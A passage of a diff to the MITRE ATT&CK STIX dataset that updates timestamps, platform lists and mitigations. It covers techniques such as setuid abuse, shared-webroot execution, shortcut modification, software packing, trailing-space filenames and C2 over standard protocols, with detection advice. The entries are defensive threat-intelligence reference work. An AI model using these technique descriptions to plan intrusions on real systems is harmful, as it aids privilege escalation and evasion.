+            "description": "When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively. Normally an application is run in the current user\u2019s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn\u2019t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via <code>ls -l</code>. The <code>chmod</code> program can set these bits with via bitmasking, <code>chmod 4777 [file]</code> or via shorthand naming, <code>chmod u+s [file]</code>.\n\nAn adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user\u2019s context.\n\nDetection: Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nEffective Permissions: Administrator, root\n\nPermissions Required: User",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -11820,21 +12665,20 @@
                 "Administrator",
                 "root"
             ],
-            "x_mitre_permissions_required": [
-                "User"
-            ],
             "x_mitre_platforms": [
                 "Linux",
-                "MacOS",
-                "OS X"
+                "macOS"
+            ],
+            "x_mitre_permissions_required": [
+                "User"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--43b366a4-b5ff-4d4e-8a3b-f09a9d2faff5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Shared Webroot Mitigation",
             "description": "Networks that allow for open development and testing of Web content and allow users to set up their own Web servers on the enterprise network may be particularly vulnerable if the systems and Web servers are not properly secured to limit privileged account use, unauthenticated network share access, and network/system isolation.\n\nEnsure proper permissions on directories that are accessible through a Web server. Disallow remote access to the webroot or other directories used to serve Web content. Disable execution on directories within the webroot. Ensure that permissions of the Web server process are only what is required by not using built-in accounts; instead, create specific accounts to limit unnecessary access or permissions overlap across multiple systems.",
             "external_references": [
@@ -11850,9 +12694,9 @@
             "id": "attack-pattern--804c042c-cfe6-449e-bc1a-ba0a998a70db",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:46.047Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Shared Webroot",
-            "description": "Adversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.\n\nThis mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited.\n\nDetection: Use file and process monitoring to detect when files are written to a Web server by a process that is not the normal Web server process or when files are written outside of normal administrative time periods. Use process monitoring to identify normal processes that run on the Web server and detect processes that are not typically executed.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Process monitoring\n\nSystem Requirements: Shared webroot directory on remote system",
+            "description": "Adversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.\n\nThis mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited.\n\nDetection: Use file and process monitoring to detect when files are written to a Web server by a process that is not the normal Web server process or when files are written outside of normal administrative time periods. Use process monitoring to identify normal processes that run on the Web server and detect processes that are not typically executed.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process monitoring\n\nSystem Requirements: Shared webroot directory on remote system",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -11877,28 +12721,17 @@
                 "Shared webroot directory on remote system"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--a13e35cc-8c90-4d77-a965-5461042c1612",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Shortcut Modification Mitigation",
-            "description": "Identify and block unknown, potentially malicious software that may be executed through shortcut modification by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
+            "description": "Limit permissions for who can create symbolic links in Windows to appropriate groups such as Administrators and necessary groups for virtualization. This can be done through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create symbolic links. (Citation: UCF STIG Symbolic Links)\n\nIdentify and block unknown, potentially malicious software that may be executed through shortcut modification by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
                 {
                     "source_name": "mitre-attack",
@@ -11929,6 +12762,11 @@
                     "source_name": "TechNet Applocker vs SRP",
                     "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                     "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
+                },
+                {
+                    "source_name": "UCF STIG Symbolic Links",
+                    "description": "UCF. (n.d.). Unauthorized accounts must not have the Create symbolic links user right.. Retrieved December 18, 2017.",
+                    "url": "https://www.stigviewer.com/stig/windows%20server%202008%20r2%20member%20server/2015-06-25/finding/V-26482"
                 }
             ]
         },
@@ -11937,9 +12775,9 @@
             "id": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:30.757Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Shortcut Modification",
-            "description": "Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use Masquerading to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.\n\nDetection: Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator",
+            "description": "Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use Masquerading to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.\n\nDetection: Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator\n\nContributors: Travis Smith, Tripwire",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -11961,31 +12799,23 @@
                 "Process command-line parameters",
                 "Process monitoring"
             ],
+            "x_mitre_contributors": [
+                "Travis Smith, Tripwire"
+            ],
             "x_mitre_permissions_required": [
                 "User",
                 "Administrator"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--c95c8b5c-b431-43c9-9557-f494805e2502",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Software Packing Mitigation",
             "description": "Ensure updated virus definitions. Create custom signatures for observed malware. Employ heuristic-based malware detection.\n\nIdentify and prevent execution of potentially malicious software that may have been packed by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -12026,9 +12856,9 @@
             "id": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:43.472Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Software Packing",
-            "description": "Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.\n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.\n\nDetection: Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Binary file metadata\n\nDefense Bypassed: Anti-virus, heuristic detection, Signature-based detection",
+            "description": "Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.\n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.\n\nDetection: Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.\n\nPlatforms: Windows\n\nData Sources: Binary file metadata\n\nDefense Bypassed: Anti-virus, heuristic detection, Signature-based detection",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -12059,26 +12889,15 @@
                 "Signature-based detection"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--5391ece4-8866-415d-9b5e-8dc5944f612a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Source Mitigation",
             "description": "Due to potential legitimate uses of source commands, it's may be difficult to mitigate use of this technique.",
             "external_references": [
@@ -12094,9 +12913,9 @@
             "id": "attack-pattern--45d84c8b-c1e2-474d-a14d-69b5de0a2bc0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Source",
-            "description": "The <code>source</code> command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways <code>source /path/to/filename [arguments]</code> or <code>. /path/to/filename [arguments]</code>. Take note of the space after the \".\". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment. \n\nAdversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.\n\nDetection: Monitor for command shell execution of source and subsequent processes that are started as a result of being executed by a source command. Adversaries must also drop a file to disk in order to execute it with source, and these files can also detected by file monitoring.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: Process Monitoring, File monitoring, Process command-line parameters\n\nPermissions Required: User\n\nRemote Support: No",
+            "description": "The <code>source</code> command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways <code>source /path/to/filename [arguments]</code> or <code>. /path/to/filename [arguments]</code>. Take note of the space after the \".\". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment. \n\nAdversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.\n\nDetection: Monitor for command shell execution of source and subsequent processes that are started as a result of being executed by a source command. Adversaries must also drop a file to disk in order to execute it with source, and these files can also detected by file monitoring.\n\nPlatforms: Linux, macOS\n\nData Sources: Process Monitoring, File monitoring, Process command-line parameters\n\nPermissions Required: User\n\nRemote Support: No",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -12118,13 +12937,12 @@
                 "File monitoring",
                 "Process command-line parameters"
             ],
-            "x_mitre_permissions_required": [
-                "User"
-            ],
             "x_mitre_platforms": [
                 "Linux",
-                "MacOS",
-                "OS X"
+                "macOS"
+            ],
+            "x_mitre_permissions_required": [
+                "User"
             ],
             "x_mitre_remote_support": false
         },
@@ -12132,8 +12950,8 @@
             "type": "course-of-action",
             "id": "course-of-action--02f0f92a-0a51-4c94-9bda-6437b9a93f22",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Space after Filename Mitigation",
             "description": "Prevent files from having a trailing space after the extension.",
             "external_references": [
@@ -12149,9 +12967,9 @@
             "id": "attack-pattern--e2907cea-4b43-4ed7-a570-0fdf0fbeea00",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Space after Filename",
-            "description": "Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to \"evil.txt \" (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back). \n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.\n\nDetection: It's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring\n\nPermissions Required: User\n\nContributors: Erye Hernandez, Palo Alto Networks",
+            "description": "Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to \"evil.txt \" (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back). \n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.\n\nDetection: It's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process Monitoring\n\nPermissions Required: User\n\nContributors: Erye Hernandez, Palo Alto Networks",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -12184,21 +13002,20 @@
             "x_mitre_contributors": [
                 "Erye Hernandez, Palo Alto Networks"
             ],
-            "x_mitre_permissions_required": [
-                "User"
-            ],
             "x_mitre_platforms": [
                 "Linux",
-                "MacOS",
-                "OS X"
+                "macOS"
+            ],
+            "x_mitre_permissions_required": [
+                "User"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--addb3703-5a59-4461-9bcd-7e2b5d4e92a0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Standard Application Layer Protocol Mitigation",
             "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
             "external_references": [
@@ -12219,9 +13036,9 @@
             "id": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:56.776Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Standard Application Layer Protocol",
-            "description": "Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.\n\nFor connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are RPC, SSH, or RDP.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.  Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring\n\nRequires Network: Yes",
+            "description": "Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.\n\nFor connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are RPC, SSH, or RDP.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.  Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring\n\nRequires Network: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -12252,29 +13069,17 @@
             ],
             "x_mitre_network_requirements": true,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--a766ce73-5583-48f3-b7c0-0bb43c6ef8c7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Standard Cryptographic Protocol Mitigation",
             "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)",
             "external_references": [
@@ -12295,9 +13100,9 @@
             "id": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:35.334Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Standard Cryptographic Protocol",
-            "description": "Adversaries use command and control over an encrypted channel using a known encryption protocol like HTTPS or SSL/TLS. The use of strong encryption makes it difficult for defenders to detect signatures within adversary command and control traffic.\n\nSome adversaries may use other encryption protocols and algorithms with symmetric keys, such as RC4, that rely on encryption keys encoded into malware configuration files and not public key cryptography. Such keys may be obtained through malware reverse engineering.\n\nDetection: SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels. (Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation. (Citation: SEI SSL Inspection Risks)\n\nIf malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Netflow/Enclave netflow, Malware reverse engineering, Process use of network, Process monitoring, SSL/TLS inspection\n\nRequires Network: Yes",
+            "description": "Adversaries use command and control over an encrypted channel using a known encryption protocol like HTTPS or SSL/TLS. The use of strong encryption makes it difficult for defenders to detect signatures within adversary command and control traffic.\n\nSome adversaries may use other encryption protocols and algorithms with symmetric keys, such as RC4, that rely on encryption keys encoded into malware configuration files and not public key cryptography. Such keys may be obtained through malware reverse engineering.\n\nDetection: SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels. (Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation. (Citation: SEI SSL Inspection Risks)\n\nIf malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Malware reverse engineering, Process use of network, Process monitoring, SSL/TLS inspection\n\nRequires Network: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -12344,29 +13149,17 @@
             ],
             "x_mitre_network_requirements": true,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--399d9038-b100-43ef-b28d-a5065106b935",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Standard Non-Application Layer Protocol Mitigation",
             "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
             "external_references": [
@@ -12387,9 +13180,9 @@
             "id": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:10.728Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Standard Non-Application Layer Protocol",
-            "description": "Use of a standard non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive. (Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), and transport layer protocols, such as the User Datagram Protocol (UDP).\n\nICMP communication between hosts is one example. Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts; (Citation: Microsoft ICMP) however, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.\n\nDetection: Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nRequires Network: Yes",
+            "description": "Use of a standard non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive. (Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), and transport layer protocols, such as the User Datagram Protocol (UDP).\n\nICMP communication between hosts is one example. Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts; (Citation: Microsoft ICMP) however, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.\n\nDetection: Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nRequires Network: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -12422,29 +13215,17 @@
             ],
             "x_mitre_network_requirements": true,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
